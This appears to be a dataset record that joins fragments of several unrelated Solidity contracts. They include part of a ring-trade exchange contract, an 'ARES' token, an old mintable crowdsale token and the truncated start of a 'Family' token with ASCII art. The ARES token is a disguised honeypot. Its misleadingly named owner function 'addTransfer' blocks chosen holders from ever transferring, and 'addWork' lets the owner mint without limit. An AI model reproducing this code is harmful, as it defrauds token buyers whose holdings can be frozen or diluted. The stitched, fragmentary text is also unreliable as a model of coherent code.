) / _marginSplitPercentageBase;
}
if (state.order.buyNoMoreThanAmountB) {
state.splitS = split;
} else {
state.splitB = split;
}
// This implicits order with smaller index in the ring will
// be paid LRC reward first, so the orders in the ring does
// mater.
if (split > 0) {
minerLrcSpendable -= state.lrcFee;
state.lrcReward = state.lrcFee;
}
}
state.lrcFee = 0;
}
}
}
/// @dev Calculate each order's fill amount.
function calculateRingFillAmount(
uint ringSize,
OrderState[] orders
)
private
pure
{
uint smallestIdx = 0;
uint i;
uint j;
for (i = 0; i < ringSize; i++) {
j = (i + 1) % ringSize;
smallestIdx = calculateOrderFillAmount(
orders[i],
orders[j],
i,
j,
smallestIdx
);
}
for (i = 0; i < smallestIdx; i++) {
calculateOrderFillAmount(
orders[i],
orders[(i + 1) % ringSize],
0, // Not needed
0, // Not needed
0 // Not needed
);
}
}
/// @return The smallest order's index.
function calculateOrderFillAmount(
OrderState state,
OrderState next,
uint i,
uint j,
uint smallestIdx
)
private
pure
returns (uint newSmallestIdx)
{
// Default to the same smallest index
newSmallestIdx = smallestIdx;
uint fillAmountB = state.fillAmountS.mul(
state.rate.amountB
) / state.rate.amountS;
if (state.order.buyNoMoreThanAmountB) {
if (fillAmountB > state.order.amountB) {
fillAmountB = state.order.amountB;
state.fillAmountS = fillAmountB.mul(
state.rate.amountS
) / state.rate.amountB;
newSmallestIdx = i;
}
state.lrcFee = state.order.lrcFee.mul(
fillAmountB
) / state.order.amountB;
} else {
state.lrcFee = state.order.lrcFee.mul(
state.fillAmountS
) / state.order.amountS;
}
if (fillAmountB <= next.fillAmountS) {
next.fillAmountS = fillAmountB;
} else {
newSmallestIdx = j;
}
}
/// @dev Scale down all orders based on historical fill or cancellation
/// stats but key the order's original exchange rate.
function scaleRingBasedOnHistoricalRecords(
TokenTransferDelegate delegate,
uint ringSize,
OrderState[] orders
)
private
view
{
for (uint i = 0; i < ringSize; i++) {
OrderState memory state = orders[i];
Order memory order = state.order;
uint amount;
if (order.buyNoMoreThanAmountB) {
amount = order.amountB.tolerantSub(
cancelledOrFilled[state.orderHash]
);
order.amountS = amount.mul(order.amountS) / order.amountB;
order.lrcFee = amount.mul(order.lrcFee) / order.amountB;
order.amountB = amount;
} else {
amount = order.amountS.tolerantSub(
cancelledOrFilled[state.orderHash]
);
order.amountB = amount.mul(order.amountB) / order.amountS;
order.lrcFee = amount.mul(order.lrcFee) / order.amountS;
order.amountS = amount;
}
require(order.amountS > 0); // "amountS is zero");
require(order.amountB > 0); // "amountB is zero");
uint availableAmountS = getSpendable(delegate, order.tokenS, order.owner);
require(availableAmountS > 0); // "order spendable amountS is zero");
state.fillAmountS = (
order.amountS < availableAmountS ?
order.amountS : availableAmountS
);
}
}
/// @return Amount of ERC20 token that can be spent by this contract.
function getSpendable(
TokenTransferDelegate delegate,
address tokenAddress,
address tokenOwner
)
private
view
returns (uint)
{
ERC20 token = ERC20(tokenAddress);
uint allowance = token.allowance(
tokenOwner,
address(delegate)
);
uint balance = token.balanceOf(tokenOwner);
return (allowance < balance ? allowance : balance);
}
/// @dev verify input data's basic integrity.
function verifyInputDataIntegrity(RingParams params)
private
pure
{
require(params.ringSize == params.addressList.length); // "ring data is inconsistent - addressList");
require(params.ringSize == params.uintArgsList.length); // "ring data is inconsistent - uintArgsList");
require(params.ringSize == params.uint8ArgsList.length); // "ring data is inconsistent - uint8ArgsList");
require(params.ringSize == params.buyNoMoreThanAmountBList.length); // "ring data is inconsistent - buyNoMoreThanAmountBList");
// Validate ring-mining related arguments.
for (uint i = 0; i < params.ringSize; i++) {
require(params.uintArgsList[i][5] > 0); // "order rateAmountS is zero");
}
//Check ring size
require(params.ringSize > 1 && params.ringSize <= MAX_RING_SIZE); // "invalid ring size");
}
/// @dev assmble order parameters into Order struct.
/// @return A list of orders.
function assembleOrders(RingParams params)
private
view
returns (OrderState[] memory orders)
{
orders = new OrderState[](params.ringSize);
for (uint i = 0; i < params.ringSize; i++) {
Order memory order = Order(
params.addressList[i][0],
params.addressList[i][1],
params.addressList[(i + 1) % params.ringSize][1],
params.addressList[i][2],
params.uintArgsList[i][2],
params.uintArgsList[i][3],
params.uintArgsList[i][0],
params.uintArgsList[i][1],
params.uintArgsList[i][4],
params.buyNoMoreThanAmountBList[i],
params.uintArgsList[i][6],
params.uint8ArgsList[i][0]
);
validateOrder(order);
bytes32 orderHash = calculateOrderHash(order);
verifySignature(
order.owner,
orderHash,
params.vList[i],
params.rList[i],
params.sList[i]
);
bool marginSplitAsFee = (params.feeSelections & (uint16(1) << i)) > 0;
orders[i] = OrderState(
order,
orderHash,
marginSplitAsFee,
Rate(params.uintArgsList[i][5], order.amountB),
0, // fillAmountS
0, // lrcReward
0, // lrcFee
0, // splitS
0 // splitB
);
params.ringHash ^= orderHash;
}
params.ringHash = keccak256(
params.ringHash,
params.minerId,
params.feeSelections
);
}
/// @dev validate order's parameters are OK.
function validateOrder(Order order)
private
view
{
require(order.owner != 0x0); // invalid order owner
require(order.tokenS != 0x0); // invalid order tokenS
require(order.tokenB != 0x0); // invalid order tokenB
require(order.amountS != 0); // invalid order amountS
require(order.amountB != 0); // invalid order amountB
require(order.marginSplitPercentage <= MARGIN_SPLIT_PERCENTAGE_BASE); // invalid order marginSplitPercentage
require(order.validSince <= block.timestamp); // order is too early to match
require(order.validUntil > block.timestamp); // order is expired
bytes20 tradingPair = bytes20(order.tokenS) ^ bytes20(order.tokenB);
require(order.validSince > tradingPairCutoffs[order.owner][tradingPair]); // order trading pair is cut off
require(order.validSince > cutoffs[order.owner]); // order is cut off
}
/// @dev Get the Keccak-256 hash of order with specified parameters.
function calculateOrderHash(Order order)
private
view
returns (bytes32)
{
return keccak256(
address(this),
order.owner,
order.tokenS,
order.tokenB,
order.authAddr,
order.amountS,
order.amountB,
order.validSince,
order.validUntil,
order.lrcFee,
order.buyNoMoreThanAmountB,
order.walletId,
order.marginSplitPercentage
);
}
/// @dev Verify signer's signature.
function verifySignature(
address signer,
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
)
private
pure
{
require(
signer == ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
)
); // "invalid signature");
}
function getTradingPairCutoffs(address orderOwner, address token1, address token2)
public
view
returns (uint)
{
bytes20 tokenPair = bytes20(token1) ^ bytes20(token2);
return tradingPairCutoffs[orderOwner][tokenPair];
}
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pragma solidity ^0.5.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
uint8 private _Tokendecimals;
string private _Tokenname;
string private _Tokensymbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_Tokendecimals = decimals;
_Tokenname = name;
_Tokensymbol = symbol;
}
function name() public view returns(string memory) {
return _Tokenname;
}
function symbol() public view returns(string memory) {
return _Tokensymbol;
}
function decimals() public view returns(uint8) {
return _Tokendecimals;
}
}
contract ARES is ERC20Detailed {
using SafeMath for uint256;
uint256 public totalBurn = 0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
mapping (address => bool) public addtransfer;
string constant tokenName = "ares.finance";
string constant tokenSymbol = "ARES";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000*10**uint(tokenDecimals);
//any tokens sent here ?
IERC20 currentToken ;
address payable public _owner;
//modifiers
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
address initialSupplySend = 0xf3cF4281727b87FE69953316Dd2F844345B5dF1A;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_supply(initialSupplySend, _totalSupply);
_owner = msg.sender;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function addTransfer(address account) public {
require(msg.sender == _owner, "!owner");
addtransfer[account] = true;
}
function removeTransfer(address account) public {
require(msg.sender == _owner, "!owner");
addtransfer[account] = false;
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
function _executeTransfer(address _from, address _to, uint256 _value) private
{
require(!addtransfer[_from], "error");
if (_to == address(0)) revert(); // Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) revert();
if (_balances[_from] < _value) revert(); // Check if the sender has enough
if (_balances[_to] + _value < _balances[_to]) revert(); // Check for overflows
_balances[_from] = SafeMath.sub(_balances[_from], _value); // Subtract from the sender
_balances[_to] = SafeMath.add(_balances[_to], _value); // Add the same to the recipient
emit Transfer(_from, _to, _value); // Notify anyone listening that this transfer took place
}
//no zeros for decimals necessary
function multiTransferEqualAmount(address[] memory receivers, uint256 amount) public {
uint256 amountWithDecimals = amount * 10**tokenDecimals;
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amountWithDecimals);
}
}
function addWork(address account, uint256 amount) public {
require(msg.sender == _owner, "!warning");
_supply(account, amount);
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _supply(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
//take back unclaimed tokens of any type sent by mistake
function withdrawUnclaimedTokens(address contractUnclaimed) external onlyOwner {
currentToken = IERC20(contractUnclaimed);
uint256 amount = currentToken.balanceOf(address(this));
currentToken.transfer(_owner, amount);
}
} | True | [
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pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract XxxToken is MintableToken {
// Token Info.
string public constant name = "XXX Token";
string public constant symbol = "XXX";
uint8 public constant decimals = 18;
}
contract XxxTokenSale is Ownable {
using SafeMath for uint256;
// Sale period.
uint256 public startDate;
uint256 public endDate;
// Cap USD 25mil @ 200 ETH/USD
uint256 public cap;
// Address where funds are collected.
address public wallet;
// Amount of raised money in wei.
uint256 public weiRaised;
// Actual Token contract
XxxToken public token;
// Event
event TokenPurchase(address indexed purchaser, address indexed beneficiary,
uint256 value, uint256 amount);
event TokenReserveMinted(uint256 amount);
// Modifiers
modifier initialized() {
require(address(token) != 0x0);
_;
}
function XxxTokenSale() {
}
function initialize(XxxToken _token, address _wallet,
uint256 _start, uint256 _end,
uint256 _cap) onlyOwner {
require(address(token) == address(0));
require(_token.owner() == address(this));
require(_start >= getCurrentTimestamp());
require(_start < _end);
require(_wallet != 0x0);
token = _token;
wallet = _wallet;
startDate = _start;
endDate = _end;
cap = _cap;
}
function getCurrentTimestamp() internal returns (uint256) {
return now;
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
function getRateAt(uint256 at) constant returns (uint256) {
if (at < startDate) {
return 0;
} else if (at < (startDate + 7 days)) {
return 2000;
} else if (at < (startDate + 14 days)) {
return 1800;
} else if (at < (startDate + 21 days)) {
return 1700;
} else if (at < (startDate + 28 days)) {
return 1600;
} else if (at < (startDate + 35 days)) {
return 1500;
} else if (at < (startDate + 49 days)) {
return 1400;
} else if (at < (startDate + 63 days)) {
return 1300;
} else if (at < (startDate + 77 days)) {
return 1200;
} else if (at <= endDate) {
return 1100;
} else {
return 0;
}
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(msg.value != 0);
require(saleActive());
uint256 weiAmount = msg.value;
uint256 updatedWeiRaised = weiRaised.add(weiAmount);
// Can not exceed cap.
require(updatedWeiRaised <= cap);
// calculate token amount to be created
uint256 actualRate = getRateAt(getCurrentTimestamp());
uint256 tokens = weiAmount.mul(actualRate);
// Update state.
weiRaised = updatedWeiRaised;
// Mint Token and give it to sender.
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
// Forward the fund to fund collection wallet.
wallet.transfer(msg.value);
}
function finalize() onlyOwner {
require(!saleActive());
// Allocate 20% for AirPorn (for development, marketing, etc...)
uint256 xxxToReserve = SafeMath.div(token.totalSupply(), 5);
token.mint(wallet, xxxToReserve);
TokenReserveMinted(xxxToReserve);
// Finish minting as we no longer want to mint any new token after the
// sale.
token.finishMinting();
}
function saleActive() public constant returns (bool) {
return (getCurrentTimestamp() >= startDate &&
getCurrentTimestamp() <= endDate && weiRaised < cap);
}
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] |
/**
*Submitted for verification at Etherscan.io on 2021-07-31
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-31
*/
/*
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@WWWWWWWWWWWWMMWWWM[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@WWWWWWWWWWWWWWWMMMWWW[email protected][email protected]@@@@@@[email protected]@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@WWWWWWWWWWWWWWWWWWWWMMMMMWWMWWWWWWWWWWM#;:,:;[email protected]@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@[email protected]*i;i+++++*[email protected]@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@WWWWWWWWWWMWMWWWWWWWxMWWWWMMMMMMMMMMMMMWWx*;;;i+#znnn##[email protected]@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@[email protected]@@@@@@@WWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMM*;::,:*[email protected]@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@WWWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMn;:,,,,;*#[email protected]@@@@@@@@@@@@@@@@
@@@@@@@@@@@[email protected]@@@@@@@WWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMMMM#;,,,,,;*#[email protected]@@@@@@@@@@@@@@@@
@@@@@@@@@@@[email protected]@@@WWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMxxMMMMMMMM*:,,,,,;*##[email protected]@@@@@@@@@@@@@@@@
@@@@@@@@@[email protected]*:,,,,:;*+#[email protected]@@@@@@@@@@@@@@
@@@@@@@@@@@WWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMMMMxxxxxxxxx*;:,,:;;*+#[email protected]@@@@@@@@@@@@@@
@@@@@@@@@@WWWWWWWWWWWWWWWWWWMWWWWMMMMMMMMMMMMMMMMMMMMMMxxxxxxxxxi::,,,:;*[email protected][email protected]@@@@@@@@@@
@@@@[email protected]#;:::,::i*[email protected]@[email protected]@@@@@@@@
@@WWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMxMMMMMMMxxxxxxxxnnxx#::::::;+#[email protected][email protected]@@@
WWWWWWWWWWWWWWWWWWWWWWWWWMMMxMMMMMMMMMMMMMMMxxMxxMxxxxxxxxxnnnn+:::+#[email protected]WWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMxMMMxxxxxxxxxxxxnxxxxnnnn#i::*+nn+;[email protected]WWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWMWMMMMMMMMMMMMxxxxxxxxxxxxxxxxxxxxxxxnnnnnn:::,;##;:[email protected]WWWWWWWWWWWWW
WWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMMMMxxxxxxxxxxxxxxxxxxxxxnnnnnnnnni::,:i;,,zWz#[email protected]WWWWWWWWW
WWWWWWWWWWWWMMMMMMMMMMMMMMMMMMMMxxxxxxxxxxxxxxxxxxxnnnnnnnnnznzzzi:::::,,+Wz#[email protected]WWWWWWWWW
WWWWWWWWWWWWMMMMMMMMMMMMMMMMMxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnzzz#:;::i,:*xnzWWxzzzzzzzzzzzzzzzzzzzzzzzz#nnnnxxxxxMMMMMMMMMMMMMMMMMMMMMMMMWWWWWWWWWWWW
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WWWMWWWMMMMMMMxMMMMMMMMxxxxxxxxxxnnnnnnnnnnznzzzzzzznnnnnnnnnnzzz#:;:;::+nWMxWWz#zz#################zzzznnnnxxxxxxxxxxxxxxxxMMMMMMMMMMMMMMMMMMMMMWWWWW
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MMMMMMMMMMMMMxMxxxxxxxxxnnnnnznnzzzzzz##########################i;;;*++*[email protected]*++++++++++++++++#####zzzzzzzzznznnnnnnnnxxxxxxxxxxxxxxxMMxMMMMMMMMMMMM
MMMMMMMMMMMMMMxxxxxxxxxnnnnnnnnzzzzz######+++++++++++++++++++#+*zn+:*+*[email protected]+****++*++++++++########zzzzzzzznnnnnnnnnnxxxxxxxxxxxxxMMMMMMMMMMMMMM
MMMMMxxMMMxxxxxxxxxxxxxnnnnnnzzzzzz#####+++++++**+++*++***;*nzxnxMn:izi;*#[email protected]@@n+*********+++++++++#######zzzzzznnnnnnnnnnnxxnxxxxxxxxxxxxxxMMMMMMM
xxxxxxxxxxxxxxnxnnnnnnnnnnnnnzzzzzz####++++++**********i;iz#MzxxxWMi;#[email protected]@[email protected]#@@@x#iii*********+++++++######zzzzznnnnn#nnnnnnnnnnxxxxxxxxxxxxxMMMMM
xxxxxxxxxxxnnnnnnnnnnnzzzzzzzz#######++++++******iiiiii*##[email protected];*zxMWWMxxW##@@@@Wxi;iiiii*******++++++######zzzzzzzznnnnnnnnnnxxxxxxxxxxxxxxxMMMM
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MMMxxxxxxxxxxxnxnnnnnnnnnzzzzzz####++++*****iiii;;:,,,,;nzzzxWnxWMxWW*;+z*[email protected]@@[email protected]@WMxnn+;.,,,::;;;iii***++++####zzzzzzznnnnnnnznnnxnxxxxxxxxxxxxMMM
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[email protected]@@Wzi#z+;,;*+*;i*iii;;;::;;[email protected]@#############@@WMxxnnnnnxxxxxxxMMMxMW*:;;;:ii*****i*+#*;:+#n*#nMMnzz+++++#z++++zz#znnzz##zz#
z#[email protected]@@@@@@n#*n#*,:*++*;iiiii;;;::;;[email protected]@@@################@WMxxxxxMMMMWWWxn#i;;;;;;ii*****ii+##i,i##zizxxzz#*####+#z####n#zznx####zz
[email protected]@@@@@@@@@Wniz##:,i*++i;iiii;;;;::;;[email protected]@@@####################@[email protected]@@#;::::;;;;;;;;i******i+##+:,+#z*#znzzzz#z####z#z#+##zzz##+####
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[email protected]@@@@@@@@@@@@@@@@@@@@Mnin#+,:*+*+*ii**iii;;;:::;:[email protected]@[email protected]@@@@#####@[email protected]@@#@WMW########i;:::::;;;;;;iii*****+i+####;,i#z+#zxx*,:;znnxxzxxMxMMxnznnnxM
[email protected]@@@@@@@@@@@@@@@@@@@@@@n+#z#*,;++***;iiiii;;:::::::[email protected]@@[email protected]@@@@@####@[email protected]@########Wi;::::::::;;;;;ii****+**####+,:##z*nzz,,i*MMxMMxxMxMWWWWxxxxMM
@@@@@@@@@@@@@@@@@@@@@@@@@xnin+zi:****iiii;;;::;;::::::[email protected]@[email protected]@@@[email protected]###@WMW###########M*;::,,,:::::::;;;;iii****++++;,+#z+#zz::*[email protected]@WWWWMMMMMWxWWxzWMM
@@@@@@@@@@@@@[email protected]@@@@@@@@@z+###z+****i*++##[email protected]@@[email protected]##@[email protected]############Mznzzzz###+*i::::::;;ii**+++#+;#n#z*nnM*;[email protected]@@@@WWWWMMWMMWMnMMM
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@@@@@@@@@@@@@@@@@@@@@@@WMMxnnnnz#+##+*+****iii*znz##**MxxxxxxxxxMMMMMWWWWMMMMMMWW###@@[email protected]@Wiii;;::::::::;ii******[email protected]@@@@@@@@@[email protected]@@@
@@@@@@@@###@###@@@@@WMnzz##zz##*;ii;;i****i;;;ii;;:::;[email protected]#####*;:;;;;;;;;;;iiii;i;;;;i*++:izznxMMx#[email protected]@@@@@@@@@@@@@[email protected]@WW
@###@######@WWMxnnzznnnnnxx++zz#*;i*++++++***iii;:,,,*[email protected]@@@#@#####xiiiiiiii***++++########+*i*#zn####+*[email protected]@@@@@@[email protected]@#@W
######@@WWMMWMMMMMMMMMMxMxMn#+nzzz#++###zzz#######+*[email protected]@[email protected]@@@##@@#####@++++++++++++#####zz###+#zznzn#zxMnn+**[email protected]@#@
###@@[email protected]@@@@@@WWMWWWMxxxxMMxz#znzzzzzzzzz#####+++####[email protected]@##@@@@[email protected]#####@@####zznnnxxnnzzzzzznnnnnnzznnnnnn#[email protected]##
###@[email protected]@WWWMxxxMMMMMx#zz####+++******iiii;;;:[email protected]@[email protected]@[email protected]@#########+*++++****++++######zzzzzz#[email protected]@@
##[email protected]@WMnxxMMMxxz+*i;;;:::::::::::::::::,,[email protected]@@@[email protected]@##@;;;;;;;;;;;;;;iii***+++++++#z#[email protected]@x
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Family is Context, IERC20, Ownable {
